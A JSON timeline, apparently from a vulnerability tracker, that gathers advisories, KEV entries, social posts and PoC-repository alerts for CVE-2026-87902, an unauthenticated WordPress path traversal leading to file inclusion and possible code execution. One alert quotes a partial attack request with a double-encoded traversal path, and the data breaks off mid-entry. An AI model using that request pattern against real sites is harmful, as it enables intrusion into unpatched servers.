{"metadata": {"vulnerability": "cve-2026-87902", "count": 316, "kinds": {"milestone": 8, "sighting": 277, "kev": 15, "other": 16}}, "data": [{"timestamp": "2025-08-04T16:30:00Z", "date_only": false, "value": "2025-08-04T16:30:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0389", "record": "NCSC-2026-0389", "field": "document.tracking.generator.date"}, {"timestamp": "2026-09-09T15:00:00.574Z", "date_only": false, "value": "2026-09-09T15:00:00.574Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2026-87902", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-09-22T00:00:00Z", "date_only": true, "value": "2026-09-22", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1216", "record": "CERTFR-2026-AVI-1216", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-09-22T15:47:40.692Z", "date_only": false, "value": "2026-09-22T15:47:40.692017Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mw4l6pdyc62t", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "33f1cd02-f721-40ee-9add-edbee00ee9bd", "content": "WordPress 7.1.2 patches a critical WordPress RCE vulnerability (CVE-2026-87902). Update your site to prevent conditional remote code execution.\n\n#WordPress #CVE202687902 #RCE #Cybersecurity #Infosec #WordPressSecurity", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mw4l6pdyc62t"}, {"timestamp": "2026-09-22T16:44:15.048Z", "date_only": false, "value": "2026-09-22T16:44:15.048Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2026-87902", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-09-22T16:44:15.048Z", "date_only": false, "value": "2026-09-22T16:44:15.048Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / hackerone", "record": "cve-2026-87902", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-09-22T16:52:25.138Z", "date_only": false, "value": "2026-09-22T16:52:25.138826Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mw4oshkdvq2g", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d486d8f0-3d3c-4968-a3de-60d544574863", "content": "WordPress shipped another security release in 5 days.\n\n7.1.1 on 17 Sep. 7.1.2 today (CVE-2026-87902).\nUpdate core, then inactive themes and comments.\n\nwpsecurityninja.com/wp2shell/?ut...", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mw4oshkdvq2g"}, {"timestamp": "2026-09-22T17:17:00Z", "date_only": false, "value": "2026-09-22T17:17:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-87902", "record": "UBUNTU-CVE-2026-87902", "field": "published"}, {"timestamp": "2026-09-22T17:17:28.310Z", "date_only": false, "value": "2026-09-22T17:17:28.310", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-87902", "record": "FKIE_CVE-2026-87902", "field": "published"}, {"timestamp": "2026-09-22T18:20:59Z", "date_only": false, "value": "2026-09-22T18:20:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thehackernews/10132", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c1b4244e-081b-46df-9d89-b525dbd4307c", "content": "\u203c\ufe0f URGENT - WordPress issues patch a new critical flaw (CVE-2026-87902) that requires no account and can lead to code execution on some servers.\n\nVersions 4.7.0 through 7.1.1 are affected.\n\nHere's how the flaw works: https://thehackernews.com/2026/09/wordpress-issues-patch-for-critical.html", "url": "https://t.me/thehackernews/10132"}, {"timestamp": "2026-09-22T19:00:09Z", "date_only": false, "value": "2026-09-22T19:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103069", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9a2f0e6d-0157-4166-af56-868da4485983", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-87902-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ressl\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 18:55:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-87902 \u2014 unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103069"}, {"timestamp": "2026-09-22T19:00:09Z", "date_only": false, "value": "2026-09-22T19:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103070", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f5f4b2f4-beb8-4616-9387-b71bbc80943d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a abraxas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 18:14:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 - WordPress - WordPress Core - High 8.1 - Unauthenticated GET /?page_id={id}&pagename=templates%252... - Unauthenticated Local File Inclusion (conditional RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103070"}, {"timestamp": "2026-09-22T19:00:09Z", "date_only": false, "value": "2026-09-22T19:00:09.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103069", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "196d15de-625b-42fe-bc1d-418eb945aae5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-87902-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ressl\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 18:55:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-87902 \u2014 unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103069"}, {"timestamp": "2026-09-22T19:00:09Z", "date_only": false, "value": "2026-09-22T19:00:09.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103070", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "65dba09b-61f5-45e0-8390-737a217da71e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a abraxas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 18:14:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 - WordPress - WordPress Core - High 8.1 - Unauthenticated GET /?page_id={id}&pagename=templates%252... - Unauthenticated Local File Inclusion (conditional RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103070"}, {"timestamp": "2026-09-22T20:45:27.435Z", "date_only": false, "value": "2026-09-22T20:45:27.435519Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mw53t5nf7j27", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a2557a25-7b58-4e2d-ac43-59b91c5d8353", "content": "WordPress patched CVE-2026-87902, a critical core flaw in versions 4.7.0-7.1.1 that could let unauthenticated attackers load a PHP file and, on some servers, trigger code execution. #WordPress #CVE202687902 #PatchUpdate", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mw53t5nf7j27"}, {"timestamp": "2026-09-22T21:08:07.439Z", "date_only": false, "value": "2026-09-22T21:08:07.439998Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technotenshi.bsky.social/post/3mw553ntzsc2o", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "524c998c-fd60-4a5b-87b6-a1bda516537e", "content": "WordPress patched CVE-2026-87902 (CVSS 9.2), an unauthenticated path traversal that can lead to RCE. Fixed in 7.1.2, backported to all branches back to 4.7.37.\n\n#InfoSec #WordPress #Vulnerability #CVE", "url": "https://bsky.app/profile/technotenshi.bsky.social/post/3mw553ntzsc2o"}, {"timestamp": "2026-09-22T21:40:44.553Z", "date_only": false, "value": "2026-09-22T21:40:44.553127Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mw56w25cas2m", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5f27c353-cc6f-46c4-b871-44a3d42fad59", "content": "\u26a0\ufe0f IONOS IT is reporting a Incident since 21:34 UTC\n\n\"Aggiornamento di sicurezza critico: vulnerabilit\u00e0 del core di WordPress (CVE-2026-87902)\"\n\nAffects: Hosting Wordpress\n\nLive timeline \u2192 https://pingoru.io/providers/ionos-it/incidents/11511414\n\n#IONOSIT #IONOSITDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mw56w25cas2m"}, {"timestamp": "2026-09-22T21:44:44.792Z", "date_only": false, "value": "2026-09-22T21:44:44.792543Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mw5757cisi2w", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "505ca2cf-3c7d-4ec3-a9b7-e7c768e81281", "content": "\u26a0\ufe0f IONOS US is reporting a Incident since 21:37 UTC\n\n\"Critical Security Update: WordPress Core Vulnerability (CVE-2026-87902)\"\n\nAffects: Wordpress Hosting, Wordpress Pro\n\nLive timeline \u2192 https://pingoru.io/providers/ionoscom/incidents/11511415\n\n#IONOSUS #IONOSUSDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mw5757cisi2w"}, {"timestamp": "2026-09-22T21:48:45.088Z", "date_only": false, "value": "2026-09-22T21:48:45.088090Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mw57eefcce2m", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "74f82648-4d77-409f-816d-974e3c0f3541", "content": "\u26a0\ufe0f IONOS Canada is reporting a Incident since 21:38 UTC\n\n\"Critical Security Update: WordPress Core Vulnerability (CVE-2026-87902)\"\n\nAffects: Wordpress Hosting, Wordpress Pro\n\nLive timeline \u2192 https://pingoru.io/providers/ionos-canada/incidents/11511422\n\n#IONOSCanada #IONOSCanadaDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mw57eefcce2m"}, {"timestamp": "2026-09-22T21:50:44.853Z", "date_only": false, "value": "2026-09-22T21:50:44.853218Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mw57hwrng52d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "92da6542-c86a-4cbb-beac-6c9bf13d3513", "content": "\u26a0\ufe0f Fasthosts is reporting a Incident since 21:40 UTC\n\n\"Critical Security Update: WordPress Core Vulnerability (CVE-2026-87902)\"\n\nAffects: WordPress Hosting\n\nLive timeline \u2192 https://pingoru.io/providers/fasthosts/incidents/11511427\n\n#Fasthosts #FasthostsDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mw57hwrng52d"}, {"timestamp": "2026-09-22T22:00:08Z", "date_only": false, "value": "2026-09-22T22:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103079", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4e38100b-a023-43e3-9e49-7799fd6324c9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vulpecuna\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 21:50:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE on Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103079"}, {"timestamp": "2026-09-22T22:00:08Z", "date_only": false, "value": "2026-09-22T22:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103079", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5d575c6a-c6fd-400e-a8c1-74e1cb6e63c2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vulpecuna\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 21:50:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE on Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103079"}, {"timestamp": "2026-09-22T23:00:08Z", "date_only": false, "value": "2026-09-22T23:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103083", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "250ddf87-6e13-4483-bd40-a2551629d8ad", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-PoC-pwnVader\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pwnVader\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 22:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103083"}, {"timestamp": "2026-09-22T23:00:08Z", "date_only": false, "value": "2026-09-22T23:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103083", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5d6233eb-f1b7-425c-9854-c44d2a26604e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-PoC-pwnVader\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pwnVader\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 22:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103083"}, {"timestamp": "2026-09-22T23:00:22Z", "date_only": false, "value": "2026-09-22T23:00:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ig7K5wALKnw7tbTFiMmZIJAWkE7HJFNiMnvDDeQWUrdrGe4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "710e0f38-bfd9-4fc5-a555-0f2d1b4b85de"}, {"timestamp": "2026-09-22T23:00:22Z", "date_only": false, "value": "2026-09-22T23:00:22.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ig7K5wALKnw7tbTFiMmZIJAWkE7HJFNiMnvDDeQWUrdrGe4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "2e2b9bd0-74d0-4c53-8675-0475908036ce"}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "enisa-cnw-kev", "record": "CVE-2026-87902", "field": "timestamps.asserted_at", "uuid": "a2b6816f-e2bd-4192-a21d-57b2c2aec949", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "enisa-cnw-kev", "record": "CVE-2026-87902", "field": "timestamps.first_seen_at", "uuid": "a2b6816f-e2bd-4192-a21d-57b2c2aec949", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1216", "record": "CERTFR-2026-AVI-1216", "field": "last_revision_date"}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1216", "record": "CERTFR-2026-AVI-1216", "field": "initial_release_date"}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1216", "record": "CERTFR-2026-AVI-1216", "field": "revisions.0.revision_date"}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "enisa-cnw-kev", "record": "CVE-2026-87902", "field": "status.status_updated_at", "uuid": "a2b6816f-e2bd-4192-a21d-57b2c2aec949", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T03:00:06Z", "date_only": false, "value": "2026-09-23T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/baeiM9fRMd5lQ2ZvmOQ70_pifu-s1kWTpwT4Ot-GKiqZMMo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4595c628-c749-4148-9f45-fc8f59074861"}, {"timestamp": "2026-09-23T03:00:06Z", "date_only": false, "value": "2026-09-23T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/baeiM9fRMd5lQ2ZvmOQ70_pifu-s1kWTpwT4Ot-GKiqZMMo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a856dec2-71eb-49db-bbec-061311e08bbc"}, {"timestamp": "2026-09-23T03:00:08Z", "date_only": false, "value": "2026-09-23T03:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103098", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5370a58f-12ff-4ee2-bc3e-54daf634d4c9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-A-working-PoC-for-WordPress-s-critical-path-traversal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rabakuku\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 02:49:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n Critical Zero-Authentication Vulnerability Alert! CVE-2026-87902 carries a massive CVSS 9.2 rating affecting nearly every version of WordPress Core from 4.7.0 up through 7.1.1. how attackers chain it with PHP environments to achieve full Remote Code Execution (RCE), and exactly how to mitigate and patch it immediately.\u00a0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103098"}, {"timestamp": "2026-09-23T03:00:08Z", "date_only": false, "value": "2026-09-23T03:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103098", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a7614abf-5bdf-4e7f-a043-9d761dd42085", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-A-working-PoC-for-WordPress-s-critical-path-traversal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rabakuku\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 02:49:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n Critical Zero-Authentication Vulnerability Alert! CVE-2026-87902 carries a massive CVSS 9.2 rating affecting nearly every version of WordPress Core from 4.7.0 up through 7.1.1. how attackers chain it with PHP environments to achieve full Remote Code Execution (RCE), and exactly how to mitigate and patch it immediately.\u00a0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103098"}, {"timestamp": "2026-09-23T03:00:14Z", "date_only": false, "value": "2026-09-23T03:00:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/k7P4hubjmpq89PaBAJ2zhmDTYdPdpd5wCU1UMIHoF_qLZzg", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d2fc4950-e364-422d-8de1-d56721576a1a"}, {"timestamp": "2026-09-23T03:00:14Z", "date_only": false, "value": "2026-09-23T03:00:14.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/k7P4hubjmpq89PaBAJ2zhmDTYdPdpd5wCU1UMIHoF_qLZzg", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f3e7b08e-3c69-4080-b256-e13df7ed91ca"}, {"timestamp": "2026-09-23T03:45:21.045Z", "date_only": false, "value": "2026-09-23T03:45:21.045911Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mw5tbz7yks2p", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "89140a11-aa8d-4206-8122-2493a6d18a48", "content": "2026\u5e749\u670823\u65e5\uff0cWordPress \u7206\u51fa 9.2 \u5206\u7684\u4e25\u91cd\u5b89\u5168\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u65e0\u9700\u767b\u5f55\u5373\u53ef\u5728\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4ee3\u7801\u3002\u6f0f\u6d1e\u7f16\u53f7 CVE-2026-87902\uff0c\u8bf7\u52a1\u5fc5\u5347\u7ea7\u81f3\u6700\u65b0\u7248\u672c 7.1.2\u3002@Appinn \u6839\u636e W3Techs 2026 \u5e74 9 \u6708 22 \u65e5\u7684\u6700\u65b0\u7edf\u8ba1\uff0c\u5168\u7403\u7ea6 40.2% \u7684\u7f51\u7ad9\u90fd\u5728\u4f7f\u7528", "url": "https://bsky.app/profile/appinn.bsky.social/post/3mw5tbz7yks2p"}, {"timestamp": "2026-09-23T05:45:26.227Z", "date_only": false, "value": "2026-09-23T05:45:26.227353Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mw5zyqcjwh2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "07279729-2bf8-417c-b66a-42cacad66fa6", "content": "2026\u5e749\u670823\u65e5\uff0cWordPress \u7206\u51fa 9.2 \u5206\u7684\u4e25\u91cd\u5b89\u5168\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u65e0\u9700\u767b\u5f55\u5373\u53ef\u5728\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4ee3\u7801\u3002\u6f0f\u6d1e\u7f16\u53f7 CVE-2026-87902\uff0c\u8bf7\u52a1\u5fc5\u5347\u7ea7\u81f3\u6700\u65b0\u7248\u672c 7.1.2\u3002@Appinn \u6839\u636e W3Techs 2026 \u5e74 9 \u6708 22 \u65e5\u7684\u6700\u65b0\u7edf\u8ba1\uff0c\u5168\u7403\u7ea6 40.2% \u7684\u7f51\u7ad9\u90fd\u5728\u4f7f\u7528", "url": "https://bsky.app/profile/appinn.bsky.social/post/3mw5zyqcjwh2n"}, {"timestamp": "2026-09-23T05:59:58.059Z", "date_only": false, "value": "2026-09-23T05:59:58.059809Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mw62spzfr52i", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "ae42a9b4-95bc-41a8-a6a5-ea66a55c6b22", "content": "\ud83c\udde8\ud83c\uddf5 WordPress CVE-2026-87902 (9,2/10) : un clic peut compromettre un site \u2014 passez en 7.1.2.\nhttps://www.cyberattaque.org/cve-2026-87902-wordpress-une-faille-critique-permet-de-prendre-le-controle-dun-site-apres-un-simple-clic/", "url": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mw62spzfr52i"}, {"timestamp": "2026-09-23T06:00:14Z", "date_only": false, "value": "2026-09-23T06:00:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103110", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c7a2fa2d-94a8-428d-8300-39e981ab3388", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-87902-wordpress-lfi-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 05:20:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproduction lab + URL-list scanner + PoC for CVE-2026-87902 / GHSA-7hp8-65ch-5whp \u2014 WordPress get_page_template() unauthenticated LFI 